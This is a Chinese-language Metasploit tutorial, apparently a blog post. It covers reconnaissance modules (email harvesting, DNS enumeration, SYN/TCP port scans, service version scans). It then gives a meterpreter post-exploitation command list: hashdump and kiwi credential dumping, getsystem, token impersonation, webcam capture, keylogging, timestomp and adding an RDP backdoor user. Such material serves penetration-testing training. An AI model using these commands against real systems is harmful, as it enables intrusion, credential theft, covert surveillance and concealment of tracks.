
一、auxiliary(辅助)模块
情报搜集阶段,这一阶段主要是尽可能多的收集目标的各种信息。这里主要用到Msf里auxiliary里边的Modules,这里的Modules都是些渗透前期的辅助工具。一般的收集信息可以使用Whois(这个是Linux自带的),db_nmap(这个是Msf的一个插件),如果要使用到其他的一些收集信息的方法,比如使用Syn(一种不建立头层皮连接的扫描)扫描,可以在Msfconsole里边Search syn然后根据返回结果来确定使用哪个模块
Whois信息探测:在Msfconsole下使用Whois查看域名信息

查看IP信息

利用辅助模块查找邮箱:use auxiliary/gather/search_email_collector

确认要设置什么东西

设置一个域名

因为google被国内封了,我们把google的搜索引擎关了

运行

因为百度中没有存在邮箱所有搜索为0
DNS枚举,使用auxiliary模块下的DNS枚举模块:
use auxiliary/gather/enum_dns

我们看下要设置哪些东西

设置一个域名,这里注意我们要设置的是顶级域名,不要加www,不然爆破的时候就是xxx.www.baidu.com了

运行下

二、端口扫描模块
1、内置 N map扫描
Msfconsole下的Nmap和kali内置的Nmap效果其实是一样的,首先我们来看下内置的Nmap

再来看下msfconsole下的nmap

1)syn扫描
扫描器向目标主机的一个端口发送请求连接的SYN包,扫描器在收到SYN/ACK后,不是发送的ACK应答而是发送RST包请求断开连接。这样,三次握手就没有完成,无法建立正常的TCP连接,因此,这次扫描就不会被记录到系统日志中。这种扫描技术一般不会在目标主机上留下扫描痕迹。但是,这种扫描需要有root权限
TCP connect端口扫描服务端与客户端建立连接成功(目标端口开放)过程:
① Client端发送SYN;
② Server端返回SYN/ACK,表明端口开放;
③ Client端返回ACK,表明连接已建立;
④ Client端主动断开连接。

TCP connect端口扫描服务端与客户端未建立连接成功(目标端口关闭)过程
① Client端发送SYN;
② Server端返回RST/ACK,表明端口未开放
端口开放
1、Client发送SYN ;
2、Server端发送SYN/ACK ;
3、Client发送RST断开(只需要前两步就可以判断端口开放)。
端口关闭
1、Client发送SYN ;
2、Server端回复RST(表示端口关闭)。
优点
SYN扫描要比TCP Connect()扫描隐蔽一些,SYN仅仅需要发送初始的SYN数据包给目标主机,如果端口开放,则相应SYN-ACK数据包;如果关闭,则响应RST数据包

use auxiliary/scanner/portscan/syn

我们来看下需要设置哪些东西

设置一个要扫描的ip

再设置一个线程,这里默认的线程是1,我们设置成100

运行

2)Tcp扫描
我们再来看下TCP的扫描:use auxiliary/scanner/portscan/tcp

来看下要设置哪些东西

和syn扫描要设置的东西差不多,我们来设置一下扫描地址和线程

运行

三、服务版本信息探测
1、SMB版本扫描
执行use auxiliary/scanner/smb/smb_version命令

我们来看一下要配置哪些东西

设置一个ip地址,运行即可
2、SSH版本扫描
执行use auxiliary/scanner/ssh/ssh_version命令
看一下要设置哪些东西

设置一个要扫描的IP,这里我们设置本机,本机正好是linux的系统,先要把ssh服务开一下

设置目标IP和线程

运行下,可以看到本机ssh服务的版本

3、FTP版本扫描
执行use auxiliary/scanner/ftp/ftp_version命令
我们看一下要配置哪些东西

我们这里设置一个IP段吧,只要选项里是RHOSTS的都是可以设置IP段的,再设置一个线程

运行

因为我这个段里没有开FTP的服务器,所以扫不出来
四、meterpreter后期攻击使用方法
1、上传文件到Windows主机
简单来说,你可以上传本机的任意文件到远程目标主机中。
命令
bash
upload <file> <destination>
注意:使用-r参数可以递归上传上传目录和文件

正确输文件的方法是:upload //root//123.exe c:\\123.exe
2、从windows主机下载文件
download命令可以下载远程主机上的文件
命令
bash
download <file> <path to save>
注意:Windows路径要使用双斜线
如果我们需要递归下载整个目录包括子目录和文件,我们可以使用download -r命令

3、在目标主机上执行exe文件
我们也可以使用execute命令在目标主机上执行应用程序
语法也非常简单
命令
bash
execute -f <path> [options]

正确写法是: execute -f c://1.exe
4、创建CMD新通道
如果你想在目标主机上执行命令提示符,你可以使用下列命令:
命令
bash
execute -f cmd -c

5、显示进程
ps命令会显示目标主机上所有正在运行的进程
命令
bash
ps

6、获取目标主机的cmd shell
shell命令可以进入目标主机的cmd
命令
bash
shell

7、获取admin权限
getsystem命令可以提权到本地系统权限
命令
bash
getsystem

8、使用Hashdump转储所有hash值
我们可以使用meterpreter shell来dump目标主机的当前系统账户和密码。转储的内容是NTML哈希格式,网上有很多工具和技巧来破解它们。
NTLM在线破解:https://hashkiller.co.uk/ntlm-decrypter.aspx
命令
bash
hashdump
输出的每一行内容格式如下
Username:SID:LM hash:NTLM hash

本次执行输出了5个用户账号,分别是Administrator,Guest,HelpAssistant,Owner and SUPPORT_388945a0
9、使用Credcollect转储hash值
还有一个类似的脚本叫credential_collector,也可以收集目标主机的tokens
命令
bash
run credcollect

10、创建端口转发
meterpreter shell中的portfwd命令是转发技术中最常用的一个命令,可以让攻击系统访问本来无法直接访问的目标主机。
add选项会将端口转发添加到列表中,而且本质上会创建一个隧道。
请注意:这个隧道存在于meterpreter控制台之外,任何终端会话都可以使用。
命令
bash
portfwd add -l 6666 -p 3389 -r 127.0.0.1 #将目标机的3389端口转发到本地6666端口


11、删除端口转发
跟创建端口转发命令类似,这条命令是删除一条端口转发记录
命令
bash
portfwd delete -l <portnumber> -p <portnumber> -r <Target IP>
如果你想显示所有端口转发记录,你可以使用portfwd list命令,如果你想删除所有的记录,可以使用portfwd flush命令

12、在目标主机上搜索文件
搜索命令可以来定位查找目标主机上的特定文件。这个命令可以搜索整个文件系统,也可以搜索特定的文件夹。
例如,如果你想搜索目标主机上的所有txt文件,可以使用下列命令:
命令
bash
search -f *.txt

13、获取用户ID
getuid命令会显示主机上运行meterpreter 服务的用户
命令
bash
getuid

14、获取系统信息
sysinfo命令会显示系统名,操作系统,架构和语言等。
命令
bash
sysinfo

15、模拟任意用户(token操作)
这个进程对于攻击像微软活动目录这样的分布式系统非常有帮助,因为在微软活动目录中,本地访问权限并没多大用,但是如果能搞到凭证尤其是管理员凭证,那就非常有用了。
incognito最开始是一个独立的应用,当你成功入侵系统后可以用它来模拟用户tokens。这个应用后来集成到了metasploit,并且最终集成到了meterpreter中,使用如下
- 在meterpreter会话中加载这个模块非常简单,只要输入 use incognito命令即可
- 输入list_tokens -u来显示所有有效的tokens
- 然后我们需要模拟某个token来获取其权限。还有注意,如果成功模拟了一个token,我们可以使用getuid命令来检查当前用户ID
bash
use incognito
list_tokens -u
impersonate_token "Machine\\user"

1 6、 webcam摄像头命令
bash
webcam_list #查看摄像头
webcam_snap #通过摄像头拍照
webcam_stream #通过摄像头开启视频


1 7、 execute执行文件
bash
execute #在目标机中执行文件
execute -H -i -f cmd.exe # 创建新进程cmd.exe,-H不可见,-i交互

1 8、 timestomp伪造时间戳
bash
timestomp C:// -h #查看帮助
timestomp -v C://2.txt #查看时间戳
timestomp C://2.txt -f C://1.txt #将1.txt的时间戳复制给2.txt

1 9、 enable_rdp脚本 开启3389
bash
run post/windows/manage/enable_rdp #开启远程桌面
run post/windows/manage/enable_rdp USERNAME=www2 PASSWORD=123456 #添加用户
run post/windows/manage/enable_rdp FORWARD=true LPORT=6662 #将3389端口转发到6662
脚本位于/usr/share/metasploit-framework/modules/post/windows/manage/enable_rdp.rb
通过enable_rdp.rb脚本可知:开启rdp是通过reg修改注册表;添加用户是调用cmd.exe 通过net user添加;端口转发是利用的portfwd命令


20、 键盘记录
bash
keyscan_start #开始键盘记录
keyscan_dump #导出记录数据
keyscan_stop #结束键盘记录

2 1、获取系统密码(新版)
bash
meterpreter > load kiwi
meterpreter > creds_wdigest

其它详细见: https://xz.aliyun.com/t/2536